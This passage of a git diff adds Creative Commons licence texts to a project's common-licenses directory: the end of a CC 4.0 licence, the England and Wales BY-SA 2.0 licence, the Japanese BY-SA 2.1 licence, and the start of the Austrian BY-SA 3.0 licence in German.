+ 3. You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information.
+
+ 4. If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable.
+
+Section 4 – Sui Generis Database Rights.
+
+Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material:
+
+ a. for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database, provided You do not Share Adapted Material;
+
+ b. if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and
+
+ c. You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database.
+For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights.
+
+Section 5 – Disclaimer of Warranties and Limitation of Liability.
+
+ a. Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You.
+
+ b. To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You.
+
+ c. The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability.
+
+Section 6 – Term and Termination.
+
+ a. This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically.
+
+ b. Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates:
+
+ 1. automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or
+
+ 2. upon express reinstatement by the Licensor.
+
+ c. For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License.
+
+ d. For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License.
+
+ e. Sections 1, 5, 6, 7, and 8 survive termination of this Public License.
+
+Section 7 – Other Terms and Conditions.
+
+ a. The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed.
+
+ b. Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License.
+
+Section 8 – Interpretation.
+
+ a. For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License.
+
+ b. To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions.
+
+ c. No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor.
+
+ d. Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority.
+
+Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses.
+
+Creative Commons may be contacted at creativecommons.org.
diff --git a/meta/files/common-licenses/CC-BY-SA-2.0-UK b/meta/files/common-licenses/CC-BY-SA-2.0-UK
new file mode 100644
index 0000000000..ea3df21954
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-SA-2.0-UK
@@ -0,0 +1,147 @@
+Creative Commons Attribution - Share-Alike 2.0 England and Wales
+
+ CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENCE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE.
+
+Licence
+
+THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENCE ("CCPL" OR "LICENCE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENCE OR COPYRIGHT LAW IS PROHIBITED. BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENCE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS.
+
+This Creative Commons England and Wales Public Licence enables You (all capitalised terms defined below) to view, edit, modify, translate and distribute Works worldwide, under the terms of this licence, provided that You credit the Original Author.
+
+'The Licensor' [one or more legally recognised persons or entities offering the Work under the terms and conditions of this Licence]
+
+and
+
+'You'
+
+agree as follows:
+
+1. Definitions
+
+ a. "Attribution" means acknowledging all the parties who have contributed to and have rights in the Work or Collective Work under this Licence.
+
+ b. "Collective Work" means the Work in its entirety in unmodified form along with a number of other separate and independent works, assembled into a collective whole.
+
+ c. "Derivative Work" means any work created by the editing, modification, adaptation or translation of the Work in any media (however a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this Licence). For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this Licence.
+
+ d. "Licence" means this Creative Commons England and Wales Public Licence agreement.
+
+ e. "Licence Elements" means the following high-level licence attributes indicated in the title of this Licence: Attribution, Share-Alike.
+
+ f. "Original Author" means the individual (or entity) who created the Work.
+
+ g. "Work" means the work protected by copyright which is offered under the terms of this Licence.
+
+ h. For the purpose of this Licence, when not inconsistent with the context, words in the singular number include the plural number.
+
+2. Licence Terms
+
+2.1 The Licensor hereby grants to You a worldwide, royalty-free, non-exclusive, Licence for use and for the duration of copyright in the Work.
+
+You may:
+
+ * copy the Work;
+
+ * create one or more derivative Works;
+
+ * incorporate the Work into one or more Collective Works;
+
+ * copy Derivative Works or the Work as incorporated in any Collective Work; and
+
+ * publish, distribute, archive, perform or otherwise disseminate the Work or the Work as incorporated in any Collective Work, to the public in any material form in any media whether now known or hereafter created.
+
+HOWEVER,
+
+You must not:
+
+ * impose any terms on the use to be made of the Work, the Derivative Work or the Work as incorporated in a Collective Work that alter or restrict the terms of this Licence or any rights granted under it or has the effect or intent of restricting the ability to exercise those rights;
+
+ * impose any digital rights management technology on the Work or the Work as incorporated in a Collective Work that alters or restricts the terms of this Licence or any rights granted under it or has the effect or intent of restricting the ability to exercise those rights;
+
+ * sublicense the Work;
+
+ * subject the Work to any derogatory treatment as defined in the Copyright, Designs and Patents Act 1988.
+
+FINALLY,
+
+You must:
+
+ * make reference to this Licence (by Uniform Resource Identifier (URI), spoken word or as appropriate to the media used) on all copies of the Work and Collective Works published, distributed, performed or otherwise disseminated or made available to the public by You;
+
+ * recognise the Licensor's / Original Author's right of attribution in any Work and Collective Work that You publish, distribute, perform or otherwise disseminate to the public and ensure that You credit the Licensor / Original Author as appropriate to the media used; and
+
+ * to the extent reasonably practicable, keep intact all notices that refer to this Licence, in particular the URI, if any, that the Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work.
+
+Additional Provisions for third parties making use of the Work
+
+2.2. Further licence from the Licensor
+
+Each time You publish, distribute, perform or otherwise disseminate
+
+ * the Work; or
+
+ * any Derivative Work; or
+
+ * the Work as incorporated in a Collective Work
+
+the Licensor agrees to offer to the relevant third party making use of the Work (in any of the alternatives set out above) a licence to use the Work on the same terms and conditions as granted to You hereunder.
+
+2.3. Further licence from You
+
+Each time You publish, distribute, perform or otherwise disseminate
+
+ * a Derivative Work; or
+
+ * a Derivative Work as incorporated in a Collective Work
+
+You agree to offer to the relevant third party making use of the Work (in either of the alternatives set out above) a licence to use the Derivative Work on any of the following premises:
+
+ * a licence to the Derivative Work on the same terms and conditions as the licence granted to You hereunder; or
+
+ * a later version of the licence granted to You hereunder; or
+
+ * any other Creative Commons licence with the same Licence Elements.
+
+2.4. This Licence does not affect any rights that the User may have under any applicable law, including fair use, fair dealing or any other legally recognised limitation or exception to copyright infringement.
+
+2.5. All rights not expressly granted by the Licensor are hereby reserved, including but not limited to, the exclusive right to collect, whether individually or via a licensing body, such as a collecting society, royalties for any use of the Work which results in commercial advantage or private monetary compensation.
+
+3. Warranties and Disclaimer
+
+Except as required by law, the Work is licensed by the Licensor on an "as is" and "as available" basis and without any warranty of any kind, either express or implied.
+
+4. Limit of Liability
+
+Subject to any liability which may not be excluded or limited by law the Licensor shall not be liable and hereby expressly excludes all liability for loss or damage howsoever and whenever caused to You.
+
+5. Termination
+
+The rights granted to You under this Licence shall terminate automatically upon any breach by You of the terms of this Licence. Individuals or entities who have received Collective Works from You under this Licence, however, will not have their Licences terminated provided such individuals or entities remain in full compliance with those Licences.
+
+6. General
+
+6.1. The validity or enforceability of the remaining terms of this agreement is not affected by the holding of any provision of it to be invalid or unenforceable.
+
+6.2. This Licence constitutes the entire Licence Agreement between the parties with respect to the Work licensed here. There are no understandings, agreements or representations with respect to the Work not specified here. The Licensor shall not be bound by any additional provisions that may appear in any communication in any form.
+
+6.3. A person who is not a party to this Licence shall have no rights under the Contracts (Rights of Third Parties) Act 1999 to enforce any of its terms.
+
+6.4. This Licence shall be governed by the law of England and Wales and the parties irrevocably submit to the exclusive jurisdiction of the Courts of England and Wales.
+
+7. On the role of Creative Commons
+
+7.1. Neither the Licensor nor the User may use the Creative Commons logo except to indicate that the Work is licensed under a Creative Commons Licence. Any permitted use has to be in compliance with the Creative Commons trade mark usage guidelines at the time of use of the Creative Commons trade mark. These guidelines may be found on the Creative Commons website or be otherwise available upon request from time to time.
+
+7.2. Creative Commons Corporation does not profit financially from its role in providing this Licence and will not investigate the claims of any Licensor or user of the Licence.
+
+7.3. One of the conditions that Creative Commons Corporation requires of the Licensor and You is an acknowledgement of its limited role and agreement by all who use the Licence that the Corporation is not responsible to anyone for the statements and actions of You or the Licensor or anyone else attempting to use or using this Licence.
+
+7.4. Creative Commons Corporation is not a party to this Licence, and makes no warranty whatsoever in connection to the Work or in connection to the Licence, and in all events is not liable for any loss or damage resulting from the Licensor's or Your reliance on this Licence or on its enforceability.
+
+7.5. USE OF THIS LICENCE MEANS THAT YOU AND THE LICENSOR EACH ACCEPTS THESE CONDITIONS IN SECTION 7.1, 7.2, 7.3, 7.4 AND EACH ACKNOWLEDGES CREATIVE COMMONS CORPORATION'S VERY LIMITED ROLE AS A FACILITATOR OF THE LICENCE FROM THE LICENSOR TO YOU.
+
+Creative Commons is not a party to this Licence, and makes no warranty whatsoever in connection with the Work. Creative Commons will not be liable to You or any party on any legal theory for any damages whatsoever, including without limitation any general, special, incidental or consequential damages arising in connection to this licence. Notwithstanding the foregoing two (2) sentences, if Creative Commons has expressly identified itself as the Licensor hereunder, it shall have all rights and obligations of Licensor.
+
+Except for the limited purpose of indicating to the public that the Work is licensed under the CCPL, neither party will use the trademark "Creative Commons" or any related trademark or logo of Creative Commons without the prior written consent of Creative Commons. Any permitted use will be in compliance with Creative Commons' then-current trademark usage guidelines, as may be published on its website or otherwise made available upon request from time to time.
+
+Creative Commons may be contacted at https://creativecommons.org/.
diff --git a/meta/files/common-licenses/CC-BY-SA-2.1-JP b/meta/files/common-licenses/CC-BY-SA-2.1-JP
new file mode 100644
index 0000000000..7971930e3f
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-SA-2.1-JP
@@ -0,0 +1,83 @@
+アトリビューション—シェアアライク 2.1
+(帰属—同一条件許諾)
+クリエイティブ・コモンズ及びクリエイティブ・コモンズ・ジャパンは法律事務所ではありません。この利用許諾条項の頒布は法的アドバイスその他の法律業務を行うものではありません。クリエイティブ・コモンズ及びクリエイティブ・コモンズ・ジャパンは、この利用許諾の当事者ではなく、ここに提供する情報及び本作品に関しいかなる保証も行いません。クリエイティブ・コモンズ及びクリエイティブ・コモンズ・ジャパンは、いかなる法令に基づこうとも、あなた又はいかなる第三者の損害(この利用許諾に関連する通常損害、特別損害を含みますがこれらに限られません)について責任を負いません。
+
+利用許諾
+
+本作品(下記に定義する)は、このクリエイティブ・コモンズ・パブリック・ライセンス日本版(以下「この利用許諾」という)の条項の下で提供される。本作品は、著作権法及び/又は他の適用法によって保護される。本作品をこの利用許諾又は著作権法の下で授権された以外の方法で使用することを禁止する。
+
+許諾者は、かかる条項をあなたが承諾することとひきかえに、ここに規定される権利をあなたに付与する。本作品に関し、この利用許諾の下で認められるいずれかの利用を行うことにより、あなたは、この利用許諾(条項)に拘束されることを承諾し同意したこととなる。
+
+第1条 定義
+
+この利用許諾中の用語を以下のように定義する。その他の用語は、著作権法その他の法令で定める意味を持つものとする。
+
+ a. 「二次的著作物」とは、著作物を翻訳し、編曲し、若しくは変形し、または脚色し、映画化し、その他翻案することにより創作した著作物をいう。ただし、編集著作物又はデータベースの著作物(以下、この二つを併せて「編集著作物等」という。)を構成する著作物は、二次的著作物とみなされない。また、原著作者及び実演家の名誉又は声望を害する方法で原著作物を改作、変形もしくは翻案して生じる著作物は、この利用許諾の目的においては、二次的著作物に含まれない。
+ b. 「許諾者」とは、この利用許諾の条項の下で本作品を提供する個人又は団体をいう。
+ c. 「あなた」とは、この利用許諾に基づく権利を行使する個人又は団体をいう。
+ d. 「原著作者」とは、本作品に含まれる著作物を創作した個人又は団体をいう。
+ e. 「本作品」とは、この利用許諾の条項に基づいて利用する権利が付与される対象たる無体物をいい、著作物、実演、レコード、放送にかかる音又は影像、もしくは有線放送にかかる音又は影像をすべて含むものとする。
+ f. 「ライセンス要素」とは、許諾者が選択し、この利用許諾に表示されている、以下のライセンス属性をいう:帰属・同一条件許諾
+
+第2条 著作権等に対する制限
+
+この利用許諾に含まれるいかなる条項によっても、許諾者は、あなたが著作権の制限(著作権法第30条〜49条)、著作者人格権に対する制限(著作権法第18条2項〜4項、第19条2項〜4項、第20条2項)、著作隣接権に対する制限(著作権法第102条)その他、著作権法又はその他の適用法に基づいて認められることとなる本作品の利用を禁止しない。
+
+第3条 ライセンスの付与
+
+この利用許諾の条項に従い、許諾者はあなたに、本作品に関し、すべての国で、ロイヤリティ・フリー、非排他的で、(第7条bに定める期間)継続的な以下のライセンスを付与する。ただし、あなたが以前に本作品に関するこの利用許諾の条項に違反したことがないか、あるいは、以前にこの利用許諾の条項に違反したがこの利用許諾に基づく権利を行使するために許諾者から明示的な許可を得ている場合に限る。
+
+ a. 本作品に含まれる著作物(以下「本著作物」という。)を複製すること(編集著作物等に組み込み複製することを含む。以下、同じ。)、
+ b. 本著作物を翻案して二次的著作物を創作し、複製すること、
+ c. 本著作物又はその二次的著作物の複製物を頒布すること(譲渡または貸与により公衆に提供することを含む。以下同じ。)、上演すること、演奏すること、上映すること、公衆送信を行うこと(送信可能化を含む。以下、同じ。)、公に口述すること、公に展示すること、
+ d. 本作品に含まれる実演を、録音・録画すること(録音・録画物を増製することを含む)、録音・録画物により頒布すること、公衆送信を行うこと、
+ e. 本作品に含まれるレコードを、複製すること、頒布すること、公衆送信を行うこと、
+ f. 本作品に含まれる、放送に係る音又は影像を、複製すること、その放送を受信して再放送すること又は有線放送すること、その放送又はこれを受信して行う有線放送を受信して送信可能化すること、そのテレビジョン放送又はこれを受信して行う有線放送を受信して、影像を拡大する特別の装置を用いて公に伝達すること、
+ g. 本作品に含まれる、有線放送に係る音又は影像を、複製すること、その有線放送を受信して放送し、又は再有線放送すること、その有線放送を受信して送信可能化すること、その有線テレビジョン放送を受信して、影像を拡大する特別の装置を用いて公に伝達すること、
+
+上記に定められた本作品又はその二次的著作物の利用は、現在及び将来のすべての媒体・形式で行うことができる。あなたは、他の媒体及び形式で本作品又はその二次的著作物を利用するのに技術的に必要な変更を行うことができる。許諾者は本作品又はその二次的著作物に関して、この利用許諾に従った利用については自己が有する著作者人格権及び実演家人格権を行使しない。許諾者によって明示的に付与されない全ての権利は、留保される。
+
+第4条 受領者へのライセンス提供
+
+あなたが本作品をこの利用許諾に基づいて利用する度毎に、許諾者は本作品又は本作品の二次的著作物の受領者に対して、直接、この利用許諾の下であなたに許可された利用許諾と同じ条件の本作品のライセンスを提供する。
+
+第5条 制限
+
+上記第3条及び第4条により付与されたライセンスは、以下の制限に明示的に従い、制約される。
+
+ a. あなたは、この利用許諾の条項に基づいてのみ、本作品を利用することができる。
+ b. あなたは、この利用許諾又はこの利用許諾と同一のライセンス要素を含むほかのクリエイティブ・コモンズ・ライセンス(例えば、この利用許諾の新しいバージョン、又はこの利用許諾と同一のライセンス要素の他国籍ライセンスなど)に基づいてのみ、本作品の二次的著作物を利用することができる。
+ c. あなたは、本作品を利用するときは、この利用許諾の写し又はURI(Uniform Resource Identifier)を本作品の複製物に添付又は表示しなければならない。
+ d. あなたは、本作品の二次的著作物を利用するときは、この利用許諾又はこの利用許諾と同一のライセンス要素を含むほかのクリエイティブ・コモンズ・ライセンスの写し又はURIを本作品の二次的著作物の複製物に添付または表示しなければならない。
+ e. あなたは、この利用許諾条項及びこの利用許諾によって付与される利用許諾受領者の権利の行使を変更又は制限するような、本作品又はその二次的著作物に係る条件を提案したり課したりしてはならない。
+ f. あなたは、本作品を再利用許諾することができない。
+ g. あなたは、本作品又はその二次的著作物の利用にあたって、この利用許諾及びその免責条項に関する注意書きの内容を変更せず、見やすい態様でそのまま掲載しなければならない。
+ h. あなたは、この利用許諾条項と矛盾する方法で本著作物へのアクセス又は使用をコントロールするような技術的保護手段を用いて、本作品又はその二次的著作物を利用してはならない。
+ i. 本条の制限は、本作品又はその二次的著作物が編集著作物等に組み込まれた場合にも、その組み込まれた作品に関しては適用される。しかし、本作品又はその二次的著作物が組み込まれた編集著作物等そのものは、この利用許諾の条項に従う必要はない。
+ j. あなたは、本作品、その二次的著作物又は本作品を組み込んだ編集著作物等を利用する場合には、(1)本作品に係るすべての著作権表示をそのままにしておかなければならず、(2)原著作者及び実演家のクレジットを、合理的な方式で、(もし示されていれば原著作者及び実演家の名前又は変名を伝えることにより、)表示しなければならず、(3)本作品のタイトルが示されている場合には、そのタイトルを表示しなければならず、(4)許諾者が本作品に添付するよう指定したURIがあれば、合理的に実行可能な範囲で、そのURIを表示しなければならず(ただし、そのURIが本作品の著作権表示またはライセンス情報を参照するものでないときはこの限りでない。)(5)二次的著作物の場合には、当該二次的著作物中の原著作物の利用を示すクレジットを表示しなければならない。これらのクレジットは、合理的であればどんな方法でも行うことができる。しかしながら、二次的著作物又は編集著作物等の場合には、少なくとも他の同様の著作者のクレジットが表示される箇所で当該クレジットを表示し、少なくとも他の同様の著作者のクレジットと同程度に目立つ方法であることを要する。
+ k. もし、あなたが、本作品の二次的著作物、又は本作品もしくはその二次的著作物を組み込んだ編集著作物等を創作した場合、あなたは、許諾者からの通知があれば、実行可能な範囲で、要求に応じて、二次的著作物又は編集著作物等から、許諾者又は原著作者への言及をすべて除去しなければならない。
+
+第6条 責任制限
+
+この利用許諾の両当事者が書面にて別途合意しない限り、許諾者は本作品を現状のまま提供するものとし、明示・黙示を問わず、本作品に関していかなる保証(特定の利用目的への適合性、第三者の権利の非侵害、欠陥の不存在を含むが、これに限られない。)もしない。
+
+この利用許諾又はこの利用許諾に基づく本作品の利用から発生する、いかなる損害(許諾者が、本作品にかかる著作権、著作隣接権、著作者人格権、実演家人格権、商標権、パブリシティ権、不正競争防止法その他関連法規上保護される利益を有する者からの許諾を得ることなく本作品の利用許諾を行ったことにより発生する損害、プライバシー侵害又は名誉毀損から発生する損害等の通常損害、及び特別損害を含むが、これに限らない。)についても、許諾者に故意又は重大な過失がある場合を除き、許諾者がそのような損害発生の可能性を知らされたか否かを問わず、許諾者は、あなたに対し、これを賠償する責任を負わない。
+
+第7条 終了
+
+ a. この利用許諾は、あなたがこの利用許諾の条項に違反すると自動的に終了する。しかし、本作品、その二次的著作物又は編集著作物等をあなたからこの利用許諾に基づき受領した第三者に対しては、その受領者がこの利用許諾を遵守している限り、この利用許諾は終了しない。第1条、第2条、第4条から第9条は、この利用許諾が終了してもなお有効に存続する。
+ b. 上記aに定める場合を除き、この利用許諾に基づくライセンスは、本作品に含まれる著作権法上の権利が存続するかぎり継続する。
+ c. 許諾者は、上記aおよびbに関わらず、いつでも、本作品をこの利用許諾に基づいて頒布することを将来に向かって中止することができる。ただし、許諾者がこの利用許諾に基づく頒布を将来に向かって中止した場合でも、この利用許諾に基づいてすでに本作品を受領した利用者に対しては、この利用許諾に基づいて過去及び将来に与えられるいかなるライセンスも終了することはない。また、上記によって終了しない限り、この利用許諾は、全面的に有効なものとして継続する。
+
+第8条 その他
+
+ a. この利用許諾のいずれかの規定が、適用法の下で無効及び/又は執行不能の場合であっても、この利用許諾の他の条項の有効性及び執行可能性には影響しない。
+ b. この利用許諾の条項の全部又は一部の放棄又はその違反に関する承諾は、これが書面にされ、当該放棄又は承諾に責任を負う当事者による署名又は記名押印がなされない限り、行うことができない。
+ c. この利用許諾は、当事者が本作品に関して行った最終かつ唯一の合意の内容である。この利用許諾は、許諾者とあなたとの相互の書面による合意なく修正されない。
+ d. この利用許諾は日本語により提供される。この利用許諾の英語その他の言語への翻訳は参照のためのものに過ぎず、この利用許諾の日本語版と翻訳との間に何らかの齟齬がある場合には日本語版が優先する。
+
+第9条 準拠法
+
+この利用許諾は、日本法に基づき解釈される。
+
+本作品がクリエイティブ・コモンズ・ライセンスに基づき利用許諾されたことを公衆に示すという限定された目的の場合を除き、許諾者も被許諾者もクリエイティブ・コモンズの事前の書面による同意なしに「クリエイティブ・コモンズ」の商標若しくは関連商標又はクリエイティブ・コモンズのロゴを使用しないものとします。使用が許可された場合はクリエイティブ・コモンズおよびクリエイティブ・コモンズ・ジャパンのウェブサイト上に公表される、又はその他随時要求に従い利用可能となる、クリエイティブ・コモンズの当該時点における商標使用指針を遵守するものとします。クリエイティブ・コモンズは https://creativecommons.org/から、クリエイティブ・コモンズ・ジャパンはhttp://www.creativecommons.jp/から連絡することができます。
diff --git a/meta/files/common-licenses/CC-BY-SA-3.0-AT b/meta/files/common-licenses/CC-BY-SA-3.0-AT
new file mode 100644
index 0000000000..365b5f705d
--- /dev/null
+++ b/meta/files/common-licenses/CC-BY-SA-3.0-AT
@@ -0,0 +1,139 @@
+CREATIVE COMMONS IST KEINE RECHTSANWALTSKANZLEI UND LEISTET KEINE RECHTSBERATUNG. DIE BEREITSTELLUNG DIESER LIZENZ FÜHRT ZU KEINEM MANDATSVERHÄLTNIS. CREATIVE COMMONS STELLT DIESE INFORMATIONEN OHNE GEWÄHR ZUR VERFÜGUNG. CREATIVE COMMONS ÜBERNIMMT KEINE GEWÄHRLEISTUNG FÜR DIE GELIEFERTEN INFORMATIONEN UND SCHLIEßT DIE HAFTUNG FÜR SCHÄDEN AUS, DIE SICH AUS DEREN GEBRAUCH ERGEBEN.
+
+Lizenz
+
+DER GEGENSTAND DIESER LIZENZ (WIE UNTER „SCHUTZGEGENSTAND“ DEFINIERT) WIRD UNTER DEN BEDINGUNGEN DIESER CREATIVE COMMONS PUBLIC LICENSE ("CCPL", „LIZENZ“ ODER "LIZENZVERTRAG") ZUR VERFÜGUNG GESTELLT. DER SCHUTZGEGENSTAND IST DURCH DAS URHEBERRECHT UND/ODER ANDERE GESETZE GESCHÜTZT. JEDE FORM DER NUTZUNG DES SCHUTZGEGENSTANDES, DIE NICHT AUFGRUND DIESER LIZENZ ODER DURCH GESETZE GESTATTET IST, IST UNZULÄSSIG.
+
+DURCH DIE AUSÜBUNG EINES DURCH DIESE LIZENZ GEWÄHRTEN RECHTS AN DEM SCHUTZGEGENSTAND ERKLÄREN SIE SICH MIT DEN LIZENZBEDINGUNGEN RECHTSVERBINDLICH EINVERSTANDEN. SOWEIT DIESE LIZENZ ALS LIZENZVERTRAG ANZUSEHEN IST, GEWÄHRT IHNEN DER LIZENZGEBER DIE IN DER LIZENZ GENANNTEN RECHTE UNENTGELTLICH UND IM AUSTAUSCH DAFÜR, DASS SIE DAS GEBUNDENSEIN AN DIE LIZENZBEDINGUNGEN AKZEPTIEREN.
+
+1. Definitionen
+
+ a. Der Begriff "Bearbeitung" im Sinne dieser Lizenz bezeichnet das Ergebnis jeglicher Art von Veränderung des Schutzgegenstandes, solange dieses erkennbar vom Schutzgegenstand abgeleitet wurde. Dies kann insbesondere auch eine Umgestaltung, Änderung, Anpassung, Übersetzung oder Heranziehung des Schutzgegenstandes zur Vertonung von Laufbildern sein. Nicht als Bearbeitung des Schutzgegenstandes gelten seine Aufnahme in eine Sammlung oder ein Sammelwerk und die freie Nutzung des Schutzgegenstandes.
+
+ b. Der Begriff "Sammelwerk" im Sinne dieser Lizenz meint eine Zusammenstellung von literarischen, künstlerischen oder wissenschaftlichen Inhalten zu einem einheitlichen Ganzen, sofern diese Zusammenstellung aufgrund von Auswahl und Anordnung der darin enthaltenen selbständigen Elemente eine eigentümliche geistige Schöpfung darstellt, unabhängig davon, ob die Elemente systematisch oder methodisch angelegt und dadurch einzeln zugänglich sind oder nicht.
+
+ c. "Verbreiten" im Sinne dieser Lizenz bedeutet, den Schutzgegenstand oder Bearbeitungen im Original oder in Form von Vervielfältigungsstücken, mithin in körperlich fixierter Form der Öffentlichkeit zugänglich zu machen oder in Verkehr zu bringen.
+
+ d. Unter "Lizenzelementen" werden im Sinne dieser Lizenz die folgenden übergeordneten Lizenzcharakteristika verstanden, die vom Lizenzgeber ausgewählt wurden und in der Bezeichnung der Lizenz zum Ausdruck kommen: "Namensnennung", "Weitergabe unter gleichen Bedingungen".
+
+ e. Der "Lizenzgeber" im Sinne dieser Lizenz ist diejenige natürliche oder juristische Person oder Gruppe, die den Schutzgegenstand unter den Bedingungen dieser Lizenz anbietet und insoweit als Rechteinhaberin auftritt.
+
+ f. "Rechteinhaber" im Sinne dieser Lizenz ist der Urheber des Schutzgegenstandes oder jede andere natürliche oder juristische Person, die am Schutzgegenstand ein Immaterialgüterrecht erlangt hat, welches die in Abschnitt 3 genannten Handlungen erfasst und eine Erteilung, Übertragung oder Einräumung von Nutzungsbewilligungen bzw Nutzungsrechten an Dritte erlaubt.
+
+ g. Der Begriff "Schutzgegenstand" bezeichnet in dieser Lizenz den literarischen, künstlerischen oder wissenschaftlichen Inhalt, der unter den Bedingungen dieser Lizenz angeboten wird. Das kann insbesondere eine eigentümliche geistige Schöpfung jeglicher Art oder ein Werk der kleinen Münze, ein nachgelassenes Werk oder auch ein Lichtbild oder anderes Objekt eines verwandten Schutzrechts sein, unabhängig von der Art seiner Fixierung und unabhängig davon, auf welche Weise jeweils eine Wahrnehmung erfolgen kann, gleichviel ob in analoger oder digitaler Form. Soweit Datenbanken oder Zusammenstellungen von Daten einen immaterialgüterrechtlichen Schutz eigener Art genießen, unterfallen auch sie dem Begriff „Schutzgegenstand“ im Sinne dieser Lizenz.
+
+ h. Mit "Sie" bzw. "Ihnen" ist die natürliche oder juristische Person gemeint, die in dieser Lizenz im Abschnitt 3 genannte Nutzungen des Schutzgegenstandes vornimmt und zuvor in Hinblick auf den Schutzgegenstand nicht gegen Bedingungen dieser Lizenz verstoßen oder aber die ausdrückliche Erlaubnis des Lizenzgebers erhalten hat, die durch diese Lizenz gewährte Nutzungsbewilligung trotz eines vorherigen Verstoßes auszuüben.
+
+ i. Unter "Öffentlich Wiedergeben" im Sinne dieser Lizenz sind Wahrnehmbarmachungen des Schutzgegenstandes in unkörperlicher Form zu verstehen, die für eine Mehrzahl von Mitgliedern der Öffentlichkeit bestimmt sind und mittels öffentlicher Wiedergabe in Form von Vortrag, Aufführung, Vorführung, Darbietung, Sendung, Weitersendung oder zeit- und ortsunabhängiger Zurverfügungstellung erfolgen, unabhängig von den zum Einsatz kommenden Techniken und Verfahren, einschließlich drahtgebundener oder drahtloser Mittel und Einstellen in das Internet.
+
+ j. "Vervielfältigen" im Sinne dieser Lizenz bedeutet, gleichviel in welchem Verfahren, auf welchem Träger, in welcher Menge und ob vorübergehend oder dauerhaft, Vervielfältigungsstücke des Schutzgegenstandes herzustellen, insbesondere durch Ton- oder Bildaufzeichnungen, und umfasst auch das erstmalige Festhalten des Schutzgegenstandes oder dessen Wahrnehmbarmachung auf Mitteln der wiederholbaren Wiedergabe sowie das Herstellen von Vervielfältigungsstücken dieser Festhaltung, sowie die Speicherung einer geschützten Darbietung oder eines Bild- und/oder Schallträgers in digitaler Form oder auf einem anderen elektronischen Medium.
+
+ k. "Mit Creative Commons kompatible Lizenz" bezeichnet eine Lizenz, die unter https://creativecommons.org/compatiblelicenses aufgelistet ist und die durch Creative Commons als grundsätzlich zur vorliegenden Lizenz äquivalent akzeptiert wurde, da zumindest folgende Voraussetzungen erfüllt sind:
+
+ Diese mit Creative Commons kompatible Lizenz
+
